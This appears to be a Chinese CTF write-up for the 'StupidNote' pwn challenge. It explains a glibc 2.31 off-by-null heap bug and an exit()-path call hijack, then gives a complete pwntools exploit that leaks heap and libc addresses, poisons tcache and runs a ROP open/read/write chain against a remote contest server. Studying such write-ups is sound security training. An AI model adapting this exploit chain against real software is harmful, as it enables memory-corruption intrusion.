2020 pwnhub 双蛋内部赛

StupidNote

glibc2.31下的off-by-null,禁用了execve,并且加了点料

这里的off-by-null藏得很深,我也是在放出hint后才找到的

1

两个大功能:

add,delete

add限制了size <= 0x200

delete有两种释放堆块的方法,puts-free和edit-free;并且不是简单的调用free,而且通过对free_hook进行赋值为函数地址来实现,这种做法直接导致后面orw时无法通过free_hook结合setcontext来完成;

3

利用:

1、泄漏堆地址

2、利用off-by-null构造unlink实现overlap,注意glibc-2.31下对size,prev_size都有检测

3、在orw读取flag的时候因为不能用free_hook,所以只能重新找一个适合的地址;最后在exit中找到这样的汇编,所以只要控制了 rip + 0x1cba7rip + 0x1d1a1,就相当于调用任意函数并且控制了参数

2

上图的两个地址跟在不同环境还是有点差别的,在桌面版里面我是libc_base + 0x236968libc_base + 0x236f68;而在docker里面是libc_base + 0x22c968libc_base + 0x22cf68两个环境下相差0xa000;所以猜测偏移为0xa000*n,最终爆出来远程跟本地相差0x14000(=0xa000*2)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#coding:utf-8
from pwn import *
import sys

local = 0
context.arch = 'amd64'
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pwn')
elf = ELF('./pwn',checksec = False)
libc = elf.libc
else:
p = remote("139.217.102.146","65386")
elf = ELF('./pwn',checksec = False)
libc = elf.libc

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x4040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def show(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("choice:\n",str(idx))

def add(size,data):
choice(1)
sla("info:\n",str(size))
sda("Info:\n",data)

def delete_show(idx):
choice(2)
sla("index:\n",str(idx))
choice(2)

def delete_edit(idx,data):
choice(2)
sla("index:\n",str(idx))
choice(1)
sda("Info:",data)

for i in range(7):
add(0xf8,'a')

# leak heap
delete_show(1)
delete_show(0)

add(0xf8,'a')
add(0xf8,'b')
delete_show(0)
ru("Info:")
heap_base = u64(ru('\n')[:-1].ljust(8,b'\x00')) - 0x361
show("heap_base",heap_base)
add(0xf8,'a')

# 7
add(0x68,p64(0) + p64(0x141) + p64(heap_base + 0xae0)*2)
add(0x68,'c')
add(0x68,'d')
add(0xf8,p64(heap_base + 0x9a0)*2)
add(0x68,'f')

pay = b'a'*0x60 + p64(0x140)
delete_edit(9,pay)
for i in range(7):
delete_show(i)

delete_show(10)

for i in range(7):
add(0xf8,'a')

add(0x68,'b')
add(0x68,'c')
delete_show(8)
delete_show(10)
ru("Info:")
main_arena = u64(ru('\n')[:-1].ljust(8,b'\x00')) - 739
malloc_hook = main_arena - 0x10
libc_base = malloc_hook - libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
setcontext = libc_base + libc.symbols['setcontext']
rtld_global = libc_base + libc.symbols['_rtld_global']
syscall_ret = libc_base + 0x0000000000066229
# show("main_arena",main_arena)
show("malloc_hook",malloc_hook) #0x7f54ca4e5b70
show("libc_base",libc_base)
show("rtld_global",rtld_global)



print (hex(libc_base + 0x236f68))
print (hex(libc_base + 0x236968))

call_addr = libc_base + 0x236f68 - 0x14000 # -0x14000 is remote
rdi_addr = call_addr - 0x600
pay = p64(0) + p64(0x71) + p64(call_addr) #call addr
# pay = p64(0) + p64(0x71) + p64(rtld_global + 3848) #call addr

delete_edit(7,pay)
add(0x68,p64(0) + p64(0x71))
add(0x68,'b')

# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
# 0x00000000000e4f75: push rdi; ret;
# 0x000000000005e650: mov rsp, rdx; ret;
# 0x0000000000032b5a: pop rsp; ret
# 0x0000000000026b72: pop rdi; ret;
# 0x0000000000027529: pop rsi; ret;
# 0x000000000011c371: pop rdx; pop r12; ret;
# 0x000000000004a550: pop rax; ret;

pop_rdi = libc_base + 0x0000000000026b72
pop_rsi = libc_base + 0x0000000000027529
pop_rdx_r12 = libc_base + 0x000000000011c371
pop_rax = libc_base + 0x000000000004a550
flag_addr = heap_base + 0x950

pay = p64(libc_base + 0x0000000000154930)
add(0x68,pay) #call

delete_show(9)
delete_show(8)

delete_edit(7,p64(0) + p64(0x71) + p64(rdi_addr)) #rdi_addr
# delete_edit(7,p64(0) + p64(0x71) + p64(rtld_global + 2312))

add(0x68,p64(0) + p64(0x71))
# orw "flag"
# open
pay = p64(pop_rdi) + p64(flag_addr)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rax) + p64(2)
pay += p64(syscall_ret)
# read
pay += p64(pop_rdi) + p64(3)
pay += p64(pop_rsi) + p64(flag_addr)
pay += p64(pop_rdx_r12) + p64(0x50)*2
pay += p64(pop_rax) + p64(0)
pay += p64(syscall_ret)
# write
pay += p64(pop_rdi) + p64(1)
pay += p64(pop_rax) + p64(1)
pay += p64(syscall_ret)
pay += b"flag"

add(0x68,'b')
delete_show(0)
add(0xf8,pay)

pay = b""
# pay = p64(0x0000000000032b5a + libc_base) #pop rsp;ret

pay += p64(libc_base + 0x000000000005e650) + p64(rdi_addr + 0x10)
# pay += p64(libc_base + 0x000000000005e650) + p64(rtld_global + 3848 + 0x10)
pay += p64(0x0000000000032b5a + libc_base) + p64(heap_base + 0x8a0) #pop rsp;ret
pay += p64(0)*2
pay += p64(libc_base + 0x000000000005e650)

add(0x68,pay) #rid

# debug(0x00000000000018F4)
choice(3)
# debug()
# rip = libc_base + 0x236968
# call = libc_base + 0x236f68

# libc_base + 0x1ed608
p.interactive()
0%